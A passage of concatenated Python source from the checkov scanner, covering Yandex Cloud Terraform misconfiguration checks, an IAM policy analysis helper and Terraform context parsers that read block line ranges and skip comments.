import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class ComputeVMSecurityGroup(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure security group is assigned to network interface." id = "CKV_YC_11" supported_resources = ("yandex_compute_instance",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "network_interface/[0]/security_group_ids" def get_expected_value(self) -> Any: return ANY_VALUE check = ComputeVMSecurityGroup() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/ComputeVMSerialConsole.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class ComputeVMSerialConsole(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure compute instance does not have serial console enabled." id = "CKV_YC_4" categories = (CheckCategories.GENERAL_SECURITY,) supported_resources = ("yandex_compute_instance",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "metadata/[0]/serial-port-enable" def get_forbidden_values(self) -> list[Any]: return [True] check = ComputeVMSerialConsole() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/IAMCloudElevatedMembers.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class IAMCloudElevatedMembers(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure cloud member does not have elevated access." id = "CKV_YC_13" categories = (CheckCategories.IAM,) supported_resources = ("yandex_resourcemanager_cloud_iam_binding", "yandex_resourcemanager_cloud_iam_member") super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "role" def get_forbidden_values(self) -> List[Any]: return ["admin", "editor"] check = IAMCloudElevatedMembers() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/IAMFolderElevatedMembers.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class IAMFolderElevatedMembers(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure folder member does not have elevated access." id = "CKV_YC_23" categories = (CheckCategories.IAM,) supported_resources = ("yandex_resourcemanager_folder_iam_binding", "yandex_resourcemanager_folder_iam_member") super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "role" def get_forbidden_values(self) -> List[Any]: return ["admin", "editor"] check = IAMFolderElevatedMembers() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/IAMOrganizationElevatedMembers.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class IAMOrganizationElevatedMembers(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure organization member does not have elevated access." id = "CKV_YC_21" categories = (CheckCategories.IAM,) supported_resources = ( "yandex_organizationmanager_organization_iam_binding", "yandex_organizationmanager_organization_iam_member", ) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "role" def get_forbidden_values(self) -> List[Any]: return ["admin", "editor", "organization-manager.organizations.owner", "organization-manager.admin"] check = IAMOrganizationElevatedMembers() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/IAMPassportAccountUsage.py ================================================ from __future__ import annotations from typing import Any, List from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class IAMPassportAccountUsage(BaseResourceCheck): def __init__(self) -> None: name = "Ensure passport account is not used for assignment. Use service accounts and federated accounts where possible." id = "CKV_YC_24" categories = (CheckCategories.IAM,) supported_resources = ( "yandex_resourcemanager_folder_iam_binding", "yandex_resourcemanager_folder_iam_member", "yandex_resourcemanager_cloud_iam_binding", "yandex_resourcemanager_cloud_iam_member", "yandex_organizationmanager_organization_iam_binding", "yandex_organizationmanager_organization_iam_member", ) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if self.entity_type == "yandex_resourcemanager_folder_iam_binding": for member in conf["members"][0]: if member.startswith("userAccount"): return CheckResult.FAILED return CheckResult.PASSED if self.entity_type == "yandex_resourcemanager_folder_iam_member": if conf["member"][0].startswith("userAccount"): return CheckResult.FAILED if self.entity_type == "yandex_resourcemanager_cloud_iam_binding": for member in conf["members"][0]: if member.startswith("userAccount"): return CheckResult.FAILED return CheckResult.PASSED if self.entity_type == "yandex_resourcemanager_cloud_iam_member": if conf["member"][0].startswith("userAccount"): return CheckResult.FAILED if self.entity_type == "yandex_organizationmanager_organization_iam_binding": for member in conf["members"][0]: if member.startswith("userAccount"): return CheckResult.FAILED return CheckResult.PASSED if self.entity_type == "yandex_organizationmanager_organization_iam_member": if conf["member"][0].startswith("userAccount"): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["members", "member"] scanner = IAMPassportAccountUsage() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/K8SAutoUpgrade.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class K8SAutoUpgrade(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Kubernetes cluster auto-upgrade is enabled." id = "CKV_YC_7" categories = (CheckCategories.GENERAL_SECURITY,) supported_resources = ("yandex_kubernetes_cluster",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "master/[0]/maintenance_policy/[0]/auto_upgrade" def get_forbidden_values(self) -> list[Any]: return [False] check = K8SAutoUpgrade() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/K8SEtcdKMSEncryption.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class K8SEtcdKMSEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure etcd database is encrypted with KMS key." id = "CKV_YC_10" supported_resources = ("yandex_kubernetes_cluster",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_provider/[0]/key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = K8SEtcdKMSEncryption() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/K8SNetworkPolicy.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class K8SNetworkPolicy(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure network policy is assigned to Kubernetes cluster." id = "CKV_YC_16" supported_resources = ("yandex_kubernetes_cluster",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "network_policy_provider" def get_expected_value(self) -> Any: return ANY_VALUE check = K8SNetworkPolicy() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupAutoUpgrade.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class K8SNodeGroupAutoUpgrade(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Kubernetes node group auto-upgrade is enabled." id = "CKV_YC_8" categories = (CheckCategories.GENERAL_SECURITY,) supported_resources = ("yandex_kubernetes_node_group",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "maintenance_policy/[0]/auto_upgrade" def get_forbidden_values(self) -> list[Any]: return [False] check = K8SNodeGroupAutoUpgrade() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupPublicIP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class K8SNodeGroupPublicIP(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Kubernetes cluster node group does not have public IP addresses." id = "CKV_YC_6" categories = (CheckCategories.NETWORKING,) supported_resources = ("yandex_kubernetes_node_group",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "instance_template/[0]/network_interface/[0]/nat" def get_forbidden_values(self) -> list[Any]: return [True] check = K8SNodeGroupPublicIP() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/K8SNodeGroupSecurityGroup.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class K8SNodeGroupSecurityGroup(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure security group is assigned to Kubernetes node group." id = "CKV_YC_15" supported_resources = ("yandex_kubernetes_node_group",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "instance_template/[0]/network_interface/[0]/security_group_ids" def get_expected_value(self) -> Any: return ANY_VALUE check = K8SNodeGroupSecurityGroup() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/K8SPublicIP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class K8SPublicIP(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Kubernetes cluster does not have public IP address." id = "CKV_YC_5" categories = (CheckCategories.NETWORKING,) supported_resources = ("yandex_kubernetes_cluster",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "master/[0]/public_ip" def get_forbidden_values(self) -> list[Any]: return [True] check = K8SPublicIP() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/K8SSecurityGroup.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class K8SSecurityGroup(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure security group is assigned to Kubernetes cluster." id = "CKV_YC_14" supported_resources = ("yandex_kubernetes_cluster",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "master/[0]/security_group_ids" def get_expected_value(self) -> Any: return ANY_VALUE check = K8SSecurityGroup() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/KMSSymmetricKeyRotation.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class KMSSymmetricKeyRotation(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure KMS symmetric key is rotated." id = "CKV_YC_9" supported_resources = ("yandex_kms_symmetric_key",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "rotation_period" def get_expected_value(self) -> Any: return ANY_VALUE check = KMSSymmetricKeyRotation() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/MDBPublicIP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class MDBPublicIP(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure public IP is not assigned to database cluster." id = "CKV_YC_12" categories = (CheckCategories.NETWORKING,) supported_resources = ( "yandex_mdb_postgresql_cluster", "yandex_mdb_sqlserver_cluster", "yandex_mdb_mysql_cluster", "yandex_mdb_mongodb_cluster", "yandex_mdb_kafka_cluster", "yandex_mdb_greenplum_cluster", "yandex_mdb_elasticsearch_cluster", "yandex_mdb_clickhouse_cluster", ) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: if self.entity_type == "yandex_mdb_kafka_cluster": return "config/[0]/assign_public_ip" if self.entity_type == "yandex_mdb_greenplum_cluster": return "assign_public_ip" return "host/[0]/assign_public_ip" def get_forbidden_values(self) -> list[Any]: return [True] check = MDBPublicIP() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/MDBSecurityGroup.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class MDBSecurityGroup(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure security group is assigned to database cluster." id = "CKV_YC_1" supported_resources = ( "yandex_mdb_postgresql_cluster", "yandex_mdb_sqlserver_cluster", "yandex_mdb_redis_cluster", "yandex_mdb_mysql_cluster", "yandex_mdb_mongodb_cluster", "yandex_mdb_kafka_cluster", "yandex_mdb_greenplum_cluster", "yandex_mdb_elasticsearch_cluster", "yandex_mdb_clickhouse_cluster", ) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "security_group_ids" def get_expected_value(self) -> Any: return ANY_VALUE check = MDBSecurityGroup() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketEncryption.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class ObjectStorageBucketEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure storage bucket is encrypted." id = "CKV_YC_3" supported_resources = ("yandex_storage_bucket",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "server_side_encryption_configuration/[0]/rule/[0]/apply_server_side_encryption_by_default/[0]/kms_master_key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = ObjectStorageBucketEncryption() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/ObjectStorageBucketPublicAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class ObjectStorageBucketPublicAccess(BaseResourceCheck): def __init__(self) -> None: name = "Ensure storage bucket does not have public access permissions." id = "CKV_YC_17" categories = (CheckCategories.GENERAL_SECURITY,) supported_resources = ("yandex_storage_bucket",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "acl" in conf.keys(): acl_block = conf["acl"] if acl_block in [["public-read"], ["public-read-write"]]: self.evaluated_keys = ["acl"] return CheckResult.FAILED if "grant" in conf.keys(): grant_uri_block = conf["grant"][0]["uri"] if grant_uri_block == ["http://acs.amazonaws.com/groups/global/AllUsers"]: self.evaluated_keys = ["grant"] return CheckResult.FAILED return CheckResult.PASSED scanner = ObjectStorageBucketPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupAllowAll.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class VPCSecurityGroupAllowAll(BaseResourceCheck): def __init__(self) -> None: name = "Ensure security group does not contain allow-all rules." id = "CKV_YC_19" categories = (CheckCategories.GENERAL_SECURITY,) supported_resources = ("yandex_vpc_security_group",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "ingress" in conf.keys(): cidr_block = conf["ingress"][0]["v4_cidr_blocks"] self.evaluated_keys = ["ingress/[0]/v4_cidr_blocks"] for cidr in cidr_block[0]: if cidr == "0.0.0.0/0": if "port" in conf["ingress"][0].keys(): if conf["ingress"][0]["port"][0] == -1: return CheckResult.FAILED return CheckResult.PASSED if "from_port" not in conf["ingress"][0].keys() and "to_port" not in conf["ingress"][0].keys(): return CheckResult.FAILED if conf["ingress"][0]["from_port"][0] == 0 and conf["ingress"][0]["to_port"][0] == 65535: return CheckResult.FAILED return CheckResult.PASSED scanner = VPCSecurityGroupAllowAll() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/VPCSecurityGroupRuleAllowAll.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class VPCSecurityGroupRuleAllowAll(BaseResourceCheck): def __init__(self) -> None: name = "Ensure security group rule is not allow-all." id = "CKV_YC_20" categories = (CheckCategories.GENERAL_SECURITY,) supported_resources = ("yandex_vpc_security_group_rule",) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if conf["direction"][0] == "ingress": cidr_block = conf["v4_cidr_blocks"] self.evaluated_keys = ["v4_cidr_blocks"] for cidr in cidr_block[0]: if cidr == "0.0.0.0/0": if "port" in conf.keys(): if conf["port"][0] == -1: self.evaluated_keys.append("port") return CheckResult.FAILED return CheckResult.PASSED if "from_port" not in conf.keys() and "to_port" not in conf.keys(): self.evaluated_keys.extend(["from_port", "to_port"]) return CheckResult.FAILED if conf["from_port"][0] == 0 and conf["to_port"][0] == 65535: self.evaluated_keys.extend(["from_port", "to_port"]) return CheckResult.FAILED return CheckResult.PASSED scanner = VPCSecurityGroupRuleAllowAll() ================================================ FILE: checkov/terraform/checks/resource/yandexcloud/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/checks/utils/__init__.py ================================================ ================================================ FILE: checkov/terraform/checks/utils/base_cloudsplaining_iam_scanner.py ================================================ from __future__ import annotations import json import logging import typing from abc import abstractmethod from typing import Dict, List, Any, Union from checkov.common.models.enums import CheckResult if typing.TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class BaseTerraformCloudsplainingIAMScanner: # creating a PolicyDocument is computational expensive, # therefore a cache is defined at class level policy_document_cache: Dict[str, PolicyDocument] = {} # noqa: CCE003 def scan_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if self.should_scan_conf(conf): try: if self.cache_key not in BaseTerraformCloudsplainingIAMScanner.policy_document_cache.keys(): policy = self.convert_to_iam_policy(conf) BaseTerraformCloudsplainingIAMScanner.policy_document_cache[self.cache_key] = policy policy_document: PolicyDocument = BaseTerraformCloudsplainingIAMScanner.policy_document_cache[self.cache_key] violations = self.cloudsplaining_analysis(policy_document) if violations and hasattr(self, 'evaluated_keys'): self.cloudsplaining_enrich_evaluated_keys(policy_document, violations) except Exception: # this might occur with templated iam policies where ARN is not in place or similar logging.debug(f"could not run cloudsplaining analysis on policy {conf}") return CheckResult.UNKNOWN if violations: logging.debug(f"detailed cloudsplainging finding: {json.dumps(violations, indent=2, default=str)}") return CheckResult.FAILED return CheckResult.PASSED @property @abstractmethod def cache_key(self) -> str: pass @abstractmethod def should_scan_conf(self, conf: Dict[str, List[Any]]) -> bool: pass @abstractmethod def convert_to_iam_policy(self, conf: Dict[str, List[Any]]) -> PolicyDocument: pass @abstractmethod def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]: raise NotImplementedError() @abstractmethod def cloudsplaining_enrich_evaluated_keys(self, policy: PolicyDocument, violating_actions: Union[List[str], List[Dict[str, Any]]]) -> None: raise NotImplementedError() ================================================ FILE: checkov/terraform/checks/utils/consts.py ================================================ ================================================ FILE: checkov/terraform/checks/utils/dependency_path_handler.py ================================================ from typing import List PATH_SEPARATOR = "->" def unify_dependency_path(dependency_path: List[str]) -> str: if not dependency_path: return '' return dependency_path[-1] ================================================ FILE: checkov/terraform/checks/utils/iam_terraform_document_to_policy_converter.py ================================================ from __future__ import annotations from typing import Dict, List, Any from checkov.common.util.data_structures_utils import pickle_deepcopy def convert_terraform_conf_to_iam_policy(conf: Dict[str, List[Dict[str, Any]]]) -> Dict[str, List[Dict[str, Any]]]: """ converts terraform parsed configuration to iam policy document """ result = pickle_deepcopy(conf) if "statement" in result.keys(): result["Statement"] = result.pop("statement") for statement in result["Statement"]: if "actions" in statement: statement["Action"] = statement.pop("actions")[0] if "resources" in statement: statement["Resource"] = statement.pop("resources")[0] if "not_actions" in statement: statement["NotAction"] = statement.pop("not_actions")[0] if "not_resources" in statement: statement["NotResource"] = statement.pop("not_resources")[0] if "effect" in statement: statement["Effect"] = statement.pop("effect")[0] if "effect" not in statement and "Effect" not in statement: statement["Effect"] = "Allow" if "condition" in statement: conditions = statement.pop("condition") if conditions and isinstance(conditions, list): statement["Condition"] = {} for condition in conditions: cond_operator = condition["test"][0] cond_key = condition["variable"][0] cond_value = condition["values"][0] statement["Condition"].setdefault(cond_operator, {})[cond_key] = cond_value return result ================================================ FILE: checkov/terraform/context_parsers/__init__.py ================================================ from checkov.terraform.context_parsers.parsers import * # noqa ================================================ FILE: checkov/terraform/context_parsers/base_parser.py ================================================ from __future__ import annotations import logging import re from abc import ABC, abstractmethod from collections import defaultdict from itertools import islice from pathlib import Path from typing import List, Dict, Any, Tuple import dpath from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.comment.enum import COMMENT_REGEX from checkov.common.models.enums import ContextCategories from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.terraform import TFDefinitionKey, get_abs_path from checkov.terraform.context_parsers.registry import parser_registry OPEN_CURLY = "{" CLOSE_CURLY = "}" class BaseContextParser(ABC): def __init__(self, definition_type: str) -> None: # bc_integration.setup_http_manager() self.logger = logging.getLogger("{}".format(self.__module__)) add_resource_code_filter_to_logger(self.logger) if definition_type.upper() not in ContextCategories.__members__: self.logger.error("Terraform context parser type not supported yet") raise Exception() self.definition_type = definition_type self.tf_file = "" self.tf_file_path: Path | None = None self.file_lines: list[tuple[int, str]] = [] self.filtered_lines: list[tuple[int, str]] = [] self.filtered_line_numbers: list[int] = [] self.context: dict[str, Any] = defaultdict(dict) parser_registry.register(self) @abstractmethod def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: """ returns the entity's path in the context parser :param entity_block: entity definition block :return: list of nested entity's keys in the context parser """ raise NotImplementedError def get_entity_definition_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: """ returns the entity's path in the entity definition block :param entity_block: entity definition block :return: list of nested entity's keys in the entity definition block """ return self.get_entity_context_path(entity_block) def _is_block_signature(self, line_num: int, line_tokens: List[str], entity_context_path: List[str]) -> bool: """ Determine if the given tokenized line token is the entity signature line :param line_num: The line number in the file :param line_tokens: list of line tokens :param entity_context_path: the entity's path in the context parser :return: True/False """ block_type = self.get_block_type() return all(x in line_tokens for x in [block_type] + entity_context_path) @staticmethod def _trim_whitespaces_linebreaks(text: str) -> str: return text.strip() def _filter_file_lines(self) -> List[Tuple[int, str]]: parsed_file_lines = [(ind, self._trim_whitespaces_linebreaks(line)) for (ind, line) in self.file_lines] self.filtered_lines = [(ind, line) for (ind, line) in parsed_file_lines if line] self.filtered_line_numbers = [ind for ind, _ in self.filtered_lines] return self.filtered_lines def _read_file_lines(self) -> List[Tuple[int, str]]: with open(self.tf_file, "r") as file: file.seek(0) file_lines = [(ind + 1, line) for ind, line in enumerate(file.readlines())] return file_lines @staticmethod def is_optional_comment_line(line: str) -> bool: return "checkov:skip=" in line or "bridgecrew:skip=" in line or "cortex:skip=" in line def _collect_skip_comments(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]: """ Collects checkov skip comments to all definition blocks :param definition_blocks: parsed definition blocks :return: context enriched with with skipped checks per skipped entity """ bc_id_mapping = metadata_integration.bc_to_ckv_id_mapping comments = [ ( line_num, { "id": identifier.strip(), "suppress_comment": match.group(3)[1:] if match.group(3) else "No comment provided", }, ) for (line_num, x) in self.file_lines if self.is_optional_comment_line(x) for match in [re.search(COMMENT_REGEX, x)] if match for identifier in match.group(2).split(",") ] for entity_block in definition_blocks: skipped_checks = [] entity_context_path = self.get_entity_context_path(entity_block) entity_context = self.context found = True for k in entity_context_path: if k in entity_context: entity_context = entity_context[k] else: logging.warning(f'Failed to find context for {".".join(entity_context_path)}') found = False break if not found: continue for (skip_check_line_num, skip_check) in comments: if "start_line" in entity_context and "end_line" in entity_context \ and entity_context["start_line"] < skip_check_line_num < entity_context["end_line"]: # No matter which ID was used to skip, save the pair of IDs in the appropriate fields if bc_id_mapping and skip_check["id"] in bc_id_mapping: skip_check["bc_id"] = skip_check["id"] skip_check["id"] = bc_id_mapping[skip_check["id"]] elif metadata_integration.check_metadata: skip_check["bc_id"] = metadata_integration.get_bc_id(skip_check["id"]) skipped_checks.append(skip_check) dpath.new(self.context, entity_context_path + ["skipped_checks"], skipped_checks) return self.context def _compute_definition_end_line(self, start_line_num: int) -> int: """Given the code block's start line, compute the block's end line :param start_line_num: code block's first line number (the signature line) :return: the code block's last line number """ parsed_file_lines = self.filtered_lines start_line_idx = self.filtered_line_numbers.index(start_line_num) i = 0 end_line_num = 0 for (line_num, line) in islice(parsed_file_lines, start_line_idx, None): if OPEN_CURLY in line: i += line.count(OPEN_CURLY) if CLOSE_CURLY in line: i -= line.count(CLOSE_CURLY) if i == 0: end_line_num = line_num break return end_line_num def run( self, tf_file: TFDefinitionKey, definition_blocks: List[Dict[str, Any]], collect_skip_comments: bool = True ) -> Dict[str, Any]: # TF files for loaded modules have this formation: [#] # Chop off everything after the file name for our purposes here self.tf_file = get_abs_path(tf_file) self.tf_file_path = Path(self.tf_file) self.context = defaultdict(dict) self.file_lines = self._read_file_lines() self.context = self.enrich_definition_block(definition_blocks) if collect_skip_comments: self.context = self._collect_skip_comments(definition_blocks) return self.context def get_block_type(self) -> str: return self.definition_type @staticmethod def _clean_line(line: str) -> str: res = line.replace('"', " ") if '"{' in res: res = res.split("{")[0] return res @abstractmethod def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]: """ Enrich the context of a Terraform block :param definition_blocks: Terraform block, key-value dictionary :return: Enriched block context """ pass ================================================ FILE: checkov/terraform/context_parsers/parsers/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/terraform/context_parsers/parsers/data_context_parser.py ================================================ from typing import Dict, Any, List from hcl2 import START_LINE, END_LINE from checkov.terraform.context_parsers.base_parser import BaseContextParser class DataContextParser(BaseContextParser): def __init__(self) -> None: definition_type = "data" super().__init__(definition_type=definition_type) def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: entity_type, entity_value = next(iter(entity_block.items())) entity_name = next(iter(entity_value)) return [entity_type, entity_name] def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]: for entity_block in definition_blocks: entity_type, entity_value = next(iter(entity_block.items())) entity_name, entity_config = next(iter(entity_value.items())) self.context[entity_type][entity_name] = { "start_line": entity_config[START_LINE], "end_line": entity_config[END_LINE], "code_lines": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]], } return self.context parser = DataContextParser() ================================================ FILE: checkov/terraform/context_parsers/parsers/locals_context_parser.py ================================================ from typing import Dict, Any, List from hcl2 import START_LINE, END_LINE from checkov.terraform.context_parsers.base_parser import BaseContextParser import dpath class LocalsContextParser(BaseContextParser): def __init__(self) -> None: definition_type = "locals" super().__init__(definition_type=definition_type) def _collect_local_values(self, local_block: Dict[str, Any]) -> None: for local_name, local_value in local_block.items(): if local_name in {START_LINE, END_LINE}: continue local_value = local_value[0] if isinstance(local_value, list) and len(local_value) > 0 else local_value if type(local_value) in (int, float, bool, str, dict): dpath.new(self.context, ["assignments", local_name], local_value) def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: return [] def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]: for entity_block in definition_blocks: if START_LINE in entity_block.keys(): self.context["start_line"] = entity_block[START_LINE] if END_LINE in entity_block.keys(): self.context["end_line"] = entity_block[END_LINE] if "start_line" in self.context and "end_line" in self.context: self.context["code_lines"] = self.file_lines[self.context["start_line"] - 1: self.context["end_line"]] if isinstance(entity_block, dict): self._collect_local_values(entity_block) return self.context parser = LocalsContextParser() ================================================ FILE: checkov/terraform/context_parsers/parsers/module_context_parser.py ================================================ from typing import Dict, Any, List from hcl2 import END_LINE, START_LINE from checkov.terraform.context_parsers.base_parser import BaseContextParser class ModuleContextParser(BaseContextParser): def __init__(self) -> None: definition_type = "module" super().__init__(definition_type=definition_type) def get_entity_context_path(self, entity_block: Dict[str, Dict[str, Any]]) -> List[str]: entity_name = next(iter(entity_block.keys())) return [entity_name] def enrich_definition_block(self, definition_blocks: List[Dict[str, Any]]) -> Dict[str, Any]: for entity_block in definition_blocks: entity_name, entity_config = next(iter(entity_block.items())) self.context[entity_name] = { "start_line": entity_config[START_LINE], "end_line": entity_config[END_LINE], "code_lines": self.file_lines[entity_config[START_LINE] - 1: entity_config[END_LINE]], } return self.context parser = ModuleContextParser() ================================================ FILE: checkov/terraform/context_parsers/parsers/provider_context_parser.py ================================================ import logging from typing import Dict, Any, List import hcl2 from hcl2 import START_LINE, END_LINE from checkov.terraform.context_parsers.base_parser import BaseContextParser class ProviderContextParser(BaseContextParser): def __init__(self) -> None: definition_type = 